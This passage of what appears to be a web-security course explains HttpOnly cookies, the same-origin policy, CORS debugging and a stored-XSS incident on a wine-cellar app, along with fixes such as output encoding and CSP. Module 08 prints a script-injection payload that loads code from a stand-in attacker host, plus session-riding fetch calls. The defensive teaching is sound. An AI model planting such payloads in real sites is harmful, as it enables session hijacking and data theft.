Path two — the runtime. Page script reads and writes document.cookie as a string. This is the half that belongs to this guide, and it is the half HttpOnly removes: with the attribute set, the cookie is absent from document.cookie entirely — not empty, not masked, absent — while continuing to be sent on every request.
document.cookie — the runtime lane. HttpOnly closes only the runtime lane: the cookie disappears from document.cookie while continuing to ride every request, which is precisely why it hides the credential without preventing its use.Cookies predate the origin model and use a looser one: a domain and a path. A cookie set with Domain=cellar.example is sent to — and readable on — www.cellar.example, api.cellar.example, and any other subdomain, and the scheme is not part of the match (the Secure attribute is what keeps it off plain HTTP). So two documents that the same-origin policy treats as complete strangers can share cookies. Reasoning about cookies with origin rules produces confident, wrong conclusions in both directions — and it means a compromised subdomain is a session-security problem for the whole domain.
Here is the asymmetry, stated once, precisely, because module 08 depends on the exact wording.
Every origin-keyed store — localStorage, sessionStorage, IndexedDB, non-HttpOnly cookies — is readable by any script executing in that origin. The browser cannot distinguish your bundle from an analytics vendor's script from a payload an attacker got rendered into the page; all three are same-origin script with identical privileges. An HttpOnly cookie is the single exception: it cannot be read. But it is still attached to requests the page makes, so injected code can use the session without ever seeing it.
Read-versus-ride is the distinction to carry. A token in localStorage can be exfiltrated: three lines of injected script send it to an attacker's server, and it works from anywhere, for as long as the token lives, including after the user closes the browser. An HttpOnly session cookie cannot leave the browser that way — but injected script can call fetch("/cellar-entries", { method: "DELETE" }) from the victim's page, the browser attaches the cookie as it always does, and the server sees an ordinary authenticated request.
So HttpOnly converts an unlimited, portable, durable compromise into one that is confined to the victim's browser and the duration of the payload's execution. That is a genuine and worthwhile reduction, and it is not immunity. No sentence in this course will say HttpOnly defeats XSS, because it does not.
HttpOnly cookie sits outside — and the red annotation is the whole nuance: it cannot be read, but injected code can still make authenticated requests with it.Storage decisions get made in a hurry and inherited for years, so write them down like a decision memo. Here is the wine-cellar app's, in the form it was recorded.
Question. The SPA at https://cellar.example authenticates against https://api.cellar.example. Where does the session credential live?
Option A — bearer token in localStorage, sent as an Authorization header. Survives the XSS threat: no. Any injected script reads the token and exfiltrates it; the attacker then uses it from their own infrastructure, outside our logging and outside the user's session, until it expires. Survives CSRF: yes — nothing is attached automatically, so a cross-site form post carries no credential. Operationally: simple, no cookie configuration, no CORS credential rules.
Option B — HttpOnly; Secure; SameSite=Lax session cookie. Survives the XSS threat: partially. The credential cannot be read or exfiltrated, so compromise is confined to the victim's browser while the payload runs. Survives CSRF: largely — SameSite=Lax stops the cookie riding cross-site POSTs, and we add a double-submit token on state-changing routes for the remainder. Operationally: requires credentials: "include" on fetches and the exact CORS configuration module 07 covers, since the API is a different origin.
Decision. Option B. The deciding argument is not that B is safe but that A's failure mode is unbounded in space and time — an exfiltrated token works from anywhere, indefinitely — while B's failure mode is bounded to the victim's browser for the duration of the payload. When two options both fail under XSS, prefer the one whose failure is contained.
Residual risk, accepted and recorded. Under XSS, an attacker can still act as the user from the victim's page for as long as the payload runs. Mitigations are therefore not optional: output escaping everywhere (module 08), CSP with a nonce, and server-side anomaly detection on bulk destructive operations. Re-review if we ever move to a token that grants access beyond this API.
Cross-reference. Guide Nº 15 treats token storage in the general case, including refresh-token rotation and the in-memory-token pattern with a silent refresh — which is the option we would revisit if the cookie approach became untenable across origins.
Tokens in localStorage as a convenience choice. Symptom: a code comment or a pull-request description reading "put the token in localStorage because the cookie config was annoying with CORS." The tell is that the justification is about developer effort and the consequence is about credential theft. Corrective: any storage decision for a credential requires a written threat-model note naming what it survives, what it does not, and the residual risk accepted — the memo above is the whole deliverable, and it takes fifteen minutes.
This is the isolation half's central module and the course's longest. Module 06 showed that storage is partitioned by origin; this module defines the origin exactly, states what the wall built on it blocks, and then explains the gate the browser cuts in its own wall — which is what CORS is, despite its reputation as a server security feature.
The reframe is the deliverable. Most CORS frustration comes from believing the server rejected the request. It did not; usually it executed it and answered normally. The browser sent the request, received the response, and refused to give it to the calling script. Once that sentence is true in your head, every console message becomes a pointer to one specific header, and the fix stops being a search.
An origin is the tuple (scheme, host, port). Two URLs are same-origin when all three components match exactly. There is no partial credit, no notion of relatedness, and no special handling of subdomains.
| URL A | URL B | Same origin? | Why |
|---|---|---|---|
https://cellar.example/list | https://cellar.example/api/v2/wines | Yes | Path is not part of the origin |
https://cellar.example | https://api.cellar.example | No | Different host — subdomains are unrelated strangers |
https://cellar.example | http://cellar.example | No | Different scheme |
https://cellar.example | https://cellar.example:8443 | No | Different port (443 implied on the left) |
https://cellar.example | https://cellar.example/list?sort=vintage#notes | Yes | Query and fragment are not part of the origin |
The second row is the one that governs this module. The wine-cellar frontend and its API are the same product, the same team, the same certificate authority, the same DNS zone. To the browser they are two unrelated parties, and every request between them is cross-origin.
You will meet a second, looser unit: the site, roughly the registrable domain (cellar.example) plus scheme. Subdomains share a site and not an origin. Different features use different units — SameSite cookies and site isolation reason about sites, while the same-origin policy and storage partitioning reason about origins. When a rule surprises you, check which unit it uses before concluding it is broken.
The same-origin policy is the default rule: script running in one origin may not read data belonging to another. Concretely, it blocks reaching into another origin's document (touching an iframe's DOM, reading its variables) and reading the response body of a cross-origin fetch or XHR.
What it does not block is where the surprises live. The pre-policy web was built on cross-origin embedding, and breaking it was never an option, so the platform allows embedding while denying reading:
<img src> from any origin — the image renders; your script cannot read its pixels (a tainted canvas refuses getImageData).<script src> from any origin — and this one is not merely allowed, it is total: the code runs in your origin, with your privileges. That is the hole module 08 walks through.<link rel=stylesheet>, fonts, media — all embeddable cross-origin.SameSite exists.The asymmetry is the thing to hold: sending is largely allowed; reading is blocked. The policy protects the confidentiality of other origins' data, not the integrity of their state. Every consequence in the next four sections follows from that one sentence.
The reframe this module exists for, in one paragraph. The server never blocked anything. When your page at https://cellar.example fetches https://api.cellar.example/cellar-entries, the browser sends the request, the API receives it, executes it, and returns a normal response. The browser then looks for permission to hand that response to the calling script, does not find it, and discards it — reporting a CORS error to the console. The block is entirely inside the browser, on the response side, applied to your own code.
CORS — Cross-Origin Resource Sharing — is the protocol by which the response's owner tells the browser it is willing to be read by a named origin. Access-Control-Allow-Origin: https://cellar.example is not the API defending itself. It is the API saying: a page from this origin may read me. The header is an opt-in to relaxation, and the browser is the only party that enforces anything.
CORS is not a server security feature. It is the browser's rule, relaxed by the resource owner's declaration, enforced by the browser against the page's own script. This is why an origin with no CORS headers is not "more secure" — it is merely unreadable by browsers, while remaining perfectly reachable by every non-browser client on earth.
Two consequences follow immediately, and both are counterintuitive enough to be worth stating separately.
Why curl never sees a CORS error. curl has no origin — it is not a page, it was not loaded from a site, and there is no calling script to protect. It is also not obliged to enforce anyone's policy. It sends the request and prints the response. So "it works in curl" tells you the server executes the request and returns a status; it tells you nothing about whether a browser will let a page read the answer, because those are different questions asked of different enforcers.
For simple requests, the request already ran. A cross-origin POST with a form-style content type is sent without any prior permission check. The server executes it — creates the row, sends the email, charges the card — and only then does the browser withhold the response. A console CORS error on such a request does not mean nothing happened. It means you cannot see what happened.
Not every request can be sent first and gated afterward. If a cross-origin request could have side effects that predate CORS — a form post, an image load — the platform grandfathers it as simple and gates only the read. Anything more capable must ask permission first.
A request is simple only if all of these hold: the method is GET, HEAD, or POST; the only author-set headers are from a small safe list; and Content-Type is application/x-www-form-urlencoded, multipart/form-data, or text/plain. Anything else — PUT, DELETE, PATCH, an Authorization header, an X-Request-Id header, or Content-Type: application/json — makes the request non-simple, and the browser sends a preflight: an OPTIONS request describing what it intends to do, and refusing to send the real request unless the answer permits it.
Note what that means for the JSON API case: Content-Type: application/json alone triggers preflight. Practically every modern API call preflights, which is why the OPTIONS request is not an exotic event but the normal first half of a cross-origin API call.
OPTIONS, so a failure costs nothing. The wine-cellar's create fails two tests independently, on Authorization and on application/json.fetch carries Authorization and Content-Type: application/json, so it is non-simple and the browser asks first with OPTIONS, listing both headers in Access-Control-Request-Headers. The response allows only Content-Type, so the browser refuses to send the POST at all and reports the quoted error. Adding Authorization to Access-Control-Allow-Headers — and nothing else — permits the real request, whose own response must also carry Access-Control-Allow-Origin for the script to read it.One detail from the failing exchange deserves emphasis, because it is the good news in this module. The POST was never sent. On a preflight failure, no state changes, nothing is created, no charge occurs — the browser stopped before the consequential request. That is the opposite of the simple-request case in the previous section, and the difference is exactly the reason preflight exists.
CORS console messages are precise. Each one names a mechanism and points at a single header. Learn the mapping and stop guessing.
| Console message (Chrome) | Mechanism | Header at fault | Minimal fix |
|---|---|---|---|
| No 'Access-Control-Allow-Origin' header is present on the requested resource. | The response carried no opt-in at all | Missing Access-Control-Allow-Origin on the actual response | Add it with the caller's exact origin — check the error path too, since 500s often bypass CORS middleware |
| The 'Access-Control-Allow-Origin' header has a value 'https://www.cellar.example' that is not equal to the supplied origin. | Opt-in present, wrong origin | Value mismatch, exact string comparison | Echo the request's Origin when it is on your allowlist; watch for the www and scheme variants |
| Request header field authorization is not allowed by Access-Control-Allow-Headers in preflight response. | Preflight refused a header the request intends to send | Access-Control-Allow-Headers on the OPTIONS response | Add the named header to the list — that one, not * |
| Method PATCH is not allowed by Access-Control-Allow-Methods in preflight response. | Preflight refused the method | Access-Control-Allow-Methods on the OPTIONS response | Add the method |
| The value of the 'Access-Control-Allow-Origin' header must not be the wildcard '*' when the request's credentials mode is 'include'. | Credentialed request meeting a wildcard | Access-Control-Allow-Origin: * combined with credentials: "include" | Replace * with the specific origin and add Access-Control-Allow-Credentials: true |
| Response to preflight request doesn't pass access control check: Redirect is not allowed for a preflight request. | The OPTIONS was redirected | A redirect in front of the API — often HTTP-to-HTTPS or a trailing-slash rule | Call the final URL directly; preflights may not follow redirects |
Three habits make this table faster to apply. Read the message to the end — it names the field. Check whether the failing request is the OPTIONS or the actual request, since the two need different headers on different responses. And confirm the header is present on error responses too: a 500 that skips the CORS middleware surfaces as "no Access-Control-Allow-Origin", which sends people to debug CORS while the actual bug is the 500.
The specification forbids Access-Control-Allow-Origin: * on credentialed requests because the combination would let any site on the internet read a response generated with the victim's cookies. It is the platform refusing to let you write a rule whose meaning is "anyone may read this user's private data." The error message is the specification declining to be misconfigured, not a browser quirk to route around.
The wine-cellar API's complete CORS configuration, every line justified.
# On the OPTIONS (preflight) response
Access-Control-Allow-Origin: https://cellar.example
Access-Control-Allow-Methods: GET, POST, PATCH, DELETE
Access-Control-Allow-Headers: Content-Type, Authorization
Access-Control-Allow-Credentials: true
Access-Control-Max-Age: 600
Vary: Origin
# On every actual response, including errors
Access-Control-Allow-Origin: https://cellar.example
Access-Control-Allow-Credentials: true
Vary: OriginAllow-Origin names one exact origin, echoed from the request only when it matches an allowlist. Allow-Methods lists what the API actually exposes; adding PUT because it looks tidy grants a capability nobody asked for. Allow-Headers lists the two headers the client actually sends. Allow-Credentials: true is required because the SPA calls with credentials: "include" so the session cookie from module 06 rides along. Max-Age: 600 lets the browser cache the preflight for ten minutes, removing a round trip per call — the single highest-value line for latency. Vary: Origin is the line teams forget: without it, a shared cache can serve a response containing origin A's allow-header to a request from origin B, producing a CORS failure that reproduces for some users and not others, and disappears when you look.
Access-Control-Allow-Origin: * on an authenticated API. Symptom: a one-line change that makes the error stop in development, usually with a commit message like "fix CORS". What it means is that any website may make requests to this API and read the responses. On a credentialed API the browser refuses the combination outright — so people then "fix" that by reflecting the request's Origin header back unconditionally, which is the same grant written in a way that passes the check. Both make every user's data readable by any site they visit. Corrective: an allowlist compared exactly, with Vary: Origin, and no path where an unrecognized origin is echoed.
Debugging CORS with curl. Symptom: "I ran it in curl and got 200, so the API is fine — this is a frontend bug." curl proves the server executes the request; the failure is about whether a browser will let a page read the answer. Worse, on a simple cross-origin request the curl result actively misleads: it demonstrates that the request the browser also sent succeeded server-side, which means the console error accompanied a completed state change. Corrective: reproduce with the browser's own OPTIONS request in the Network panel, or with curl -X OPTIONS plus the Origin and Access-Control-Request-* headers so you are asking the same question the browser asked.
A CORS policy is an access grant, and it deserves the review any access grant gets. Access-Control-Allow-Origin: * on an authenticated endpoint is not a configuration detail — it is a documented decision to permit unauthenticated third-party reads of user data, and it will be read that way in an audit. The version that reflects arbitrary origins is worse, because it produces the same grant while appearing restrictive in the config file. Write the allowlist where a reviewer can find it, and make the deny path the default.
Module 07 built the wall and the gate. This module is what happens when the attacker does not need either, because their code is executing on your side of the wall with your origin's full privileges. That is the whole of cross-site scripting, and it is why it sits at the top of every browser-side risk list: it does not defeat the same-origin policy, it makes the policy inapplicable.
The module is built around one incident on the wine-cellar app, traced end to end, and it closes the course: the last section returns to module 01's two-tension map with every region filled in, and to the three mysteries the first module filed but did not solve.
XSS is attacker-controlled content that ends up executing as code in the victim's origin. That is the whole definition, and the operative word is in. The payload is not reaching across a boundary; it was rendered into the page and now runs with the same privileges as the application's own bundle. Look again at Figure 7.1: the panel at the bottom sits inside origin A. Nothing in that diagram opposes it, because every mechanism in it governs traffic between origins.
XSS does not break the same-origin policy — it renders the policy irrelevant. The browser cannot distinguish injected script from application script, because there is no property that distinguishes them: both were delivered in the origin's HTML and both execute in the origin's context. Any control that works by comparing origins is, by construction, unable to help.
A user adds a bottle. The wine name field accepts free text, and the value is stored verbatim in Postgres — correctly, since it is data. The shared-cellar page renders each name into the table with a template that interpolates without escaping. One user saves this as a wine name:
Barolo <script src="https://collector.attacker.example/c.js"></script>Every visitor to that shared cellar — 41 users over nine days, including two support staff viewing customer cellars from the admin console — receives a page whose HTML contains a script tag pointing at the attacker's server. Their browsers do exactly what browsers do: fetch it and run it, in the origin https://cellar.example.
This is stored XSS, the most valuable kind, because the payload is persisted and served to everyone who views the page, with no per-victim delivery required. The two other shapes: reflected XSS, where the payload rides in a URL parameter echoed into the response, so the attacker must get each victim to click a crafted link; and DOM-based XSS, where the server is innocent and client-side code takes a value from the URL or storage and writes it into the page with innerHTML. The distinction matters operationally: stored XSS requires purging the datastore, reflected XSS does not, and DOM-based XSS will not appear anywhere in your server-side logs or in View Source.
https://cellar.example. Exfiltration is unobstructed because sending cross-origin was always allowed — the wall from Figure 7.1 blocks reads, and nothing here is a read.Blast radius, concretely, using the storage inventory from module 06.
Script-readable storage. localStorage["cellar.auth"] — the legacy JWT, 24-hour expiry, full read/write to the API. Three lines of injected script exfiltrate it, and it then works from the attacker's own infrastructure until it expires. Also document.cookie for every cookie without HttpOnly, and everything in IndexedDB.
The DOM. The rendered page, which for the support staff who viewed customer cellars included customer names, addresses, and order history. The payload can also attach listeners: keystrokes in any input, including a password re-entry prompt it renders itself, since it can draw anything it likes and the URL bar will still show your domain with a valid certificate.
The API, with the victim's session. This is the part people miss. fetch("/cellar-entries", { method: "DELETE" }) from the victim's page is a same-origin request; the browser attaches the session cookie exactly as it does for the application's own calls, and the server cannot tell the difference — there is none. So an HttpOnly cookie hides the credential while remaining fully usable.
HttpOnly prevents an injected script from reading the session cookie. It does not prevent it from riding the session: any request the payload makes from the victim's page carries the cookie automatically. The gain is real and worth having — the compromise becomes confined to the victim's browser for the duration of the payload's execution, rather than a portable credential the attacker keeps. But an incident report that says "the cookie was HttpOnly, so the attacker got nothing" has stopped the investigation before asking the important question: what did the payload do with the session while it ran?
What CORS contributes here is nothing, and understanding why consolidates module 07. The exfiltration POST to the attacker's collector is a cross-origin send, which was always permitted; the attacker does not need to read the response, only to deliver the data. And the calls to the wine-cellar's own API are same-origin, so no CORS rule is consulted at all. The isolation machinery is intact and entirely beside the point.
The wine name is data. It was data when the user typed it, data in the database, data in the JSON response. It becomes code at exactly one moment: when it is interpolated into a document without being encoded for the context it lands in. So the fix belongs at that moment — output encoding, at render, every time.
Encoding is context-dependent, and this is where the class survives partial fixes. HTML-escaping five characters is correct in element text and insufficient elsewhere:
| Context | Required encoding | What a naive HTML escape misses |
|---|---|---|
Element text — <td>VALUE</td> | HTML entity encoding | Nothing; this is the case it handles |
Attribute value — <td title="VALUE"> | HTML entity encoding, always quoted | An unquoted attribute lets a payload add onmouseover=… with no angle brackets at all |
Inside a script block — var n = "VALUE"; | JavaScript string encoding | </script> inside the value terminates the block; entity encoding does not help here |
URL position — <a href="VALUE"> | URL encoding plus a scheme allowlist | javascript: URLs, which contain no escapable characters |
Modern frameworks do the common cases correctly and by default. React escapes interpolated values, so {wine.name} renders the payload as visible text — the incident could not have happened through that path. What matters is knowing where the framework stops.
innerHTML with user input. Symptom: cell.innerHTML = wine.name; or React's dangerouslySetInnerHTML={{ __html: note }} — usually introduced to support one legitimate need, like bold text in a tasting note. Corrective: use textContent when the value is text, which cannot execute anything; when markup genuinely must be rendered, sanitize with a maintained library against an allowlist immediately before rendering. The API is named dangerouslySetInnerHTML deliberately: it is grep-able, and every occurrence deserves a comment naming who sanitized the value and where.
Stripping <script> on the way in feels like defense and fails as a strategy. It must anticipate every encoding and every context — event-handler attributes, javascript: URLs, unusual entity forms — with no knowledge of where the value will eventually be rendered. It corrupts legitimate data: a wine named "Cuvée <Reserve>" is mangled forever. And it produces a false sense of coverage that survives into design reviews. Validate input for shape and length by all means; encode for safety at output, where the context is known.
CSP — Content-Security-Policy — is a response header in which the origin's owner declares what the browser is permitted to execute and load. It is the layer that catches what escaping missed, because escaping is applied by humans at hundreds of call sites and CSP is applied by the browser at one.
The wine-cellar's policy after the incident:
Content-Security-Policy:
default-src 'self';
script-src 'self' 'nonce-r4nd0mP3rR3sp0ns3';
connect-src 'self' https://api.cellar.example;
object-src 'none';
base-uri 'self';
frame-ancestors 'none'Against the incident: script-src 'self' 'nonce-…' means the browser executes scripts served from this origin ('self') or any script — including inline — that carries the current response's nonce; the nonce is required only for inline scripts and for cross-origin ones. The injected tag pointed at collector.attacker.example and carried no nonce, so it is refused before executing — and had the payload been an inline <script>alert(1)</script>, the missing nonce would have refused that too. connect-src additionally restricts where the page may send data, which narrows exfiltration channels.
What CSP does not do, stated as plainly:
Disabling CSP because it broke an inline script. Symptom: the day before launch, an inline analytics snippet stops running, and the change that ships is either removing the header or adding 'unsafe-inline' to script-src — which disables the protection while leaving the header in place to reassure everyone in the next review. Corrective: give the legitimate inline script the response's nonce, which is exactly the case nonces exist for. If the snippet is third-party and cannot take a nonce, move it to a file served from your origin or accept it as a documented exception with a hash. Deploying report-only first — collecting violations without enforcing — is the right way to find these before launch rather than at it. Removing the airbag because it deployed is not a fix.
The full fix stack for the incident, each layer with its exact contribution.
Escape at output. Every interpolation of user-controlled data is encoded for its context; the shared-cellar template moves to the framework's default escaping and the two dangerouslySetInnerHTML call sites are replaced with textContent. This stops the payload from becoming code at all — it is the fix; everything below it is a layer for the next time someone misses one.
Delete the localStorage token. Module 06's finding: the legacy JWT is removed and outstanding tokens revoked, so a payload can no longer walk off with a portable credential.
HttpOnly, Secure, SameSite on the session cookie. Confines a future compromise to the victim's browser during execution; explicitly does not prevent session riding.
CSP with a nonce. Refuses foreign and unnonced scripts, so an injection that survives review does not execute; connect-src narrows where anything that does execute may send data.
Detection. Server-side alerting on bulk destructive operations and on API call patterns inconsistent with the UI, because every layer above is preventive and something has to notice the case where all of them fail.
The map, closed. Return to Figure 1.1 and fill it in. The left half: parsing produces a live DOM that diverges from the served file (module 02); the pipeline stages style, layout, paint, and composite, and your change costs the earliest stage it invalidates (module 03); loading rules decide when the first pixel appears (module 04); and one thread with two queues decides what runs next, which is why long work freezes rather than slows (module 05). The right half: storage is origin-keyed, and only an HttpOnly cookie is invisible to script (module 06); the origin is a three-part tuple and the same-origin policy blocks reads while permitting sends, with CORS as the resource owner's opt-in to being read (module 07); and XSS is the case where code lands inside the origin and the entire right half stops applying (module 08).
The three mysteries from module 01, now sentences. The cellar table froze for a second because a click handler ran 5,000 forced synchronous layouts on the only thread that can paint — one long task, no frames, input queued behind it. The CORS error appeared while curl returned 200 because curl has no origin and enforces nothing, while the browser sent the request, got the response, and refused to hand it to a script from an origin the response had not named. The screen stayed blank for 800 ms after the HTML arrived because a third-party script tag in the head halted the parser for a DNS lookup, a TLS handshake, and a transfer, and nothing paints before the parse and the stylesheet finish.
None of those is an incantation. Each is a mechanism with a name, an instrument that shows it, and a fix that follows from the mechanism rather than from folklore. That was the promise.
This is the complete text of the course. With JavaScript enabled, this same page runs the interactive edition — a self-diagnostic that reorders the syllabus around your gaps, knowledge checks, applied worksheets with model answers, and a spaced-repetition review queue — with progress saved locally in your browser.